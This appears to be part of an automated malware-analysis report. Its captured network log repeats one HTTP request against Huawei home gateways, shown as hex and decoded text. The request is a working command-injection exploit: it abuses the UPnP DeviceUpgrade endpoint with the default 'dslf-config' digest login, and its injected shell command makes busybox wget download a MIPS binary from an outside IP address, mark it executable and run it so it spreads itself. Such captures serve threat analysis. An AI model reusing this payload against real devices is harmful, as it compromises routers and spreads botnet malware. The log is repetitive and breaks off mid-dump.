2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 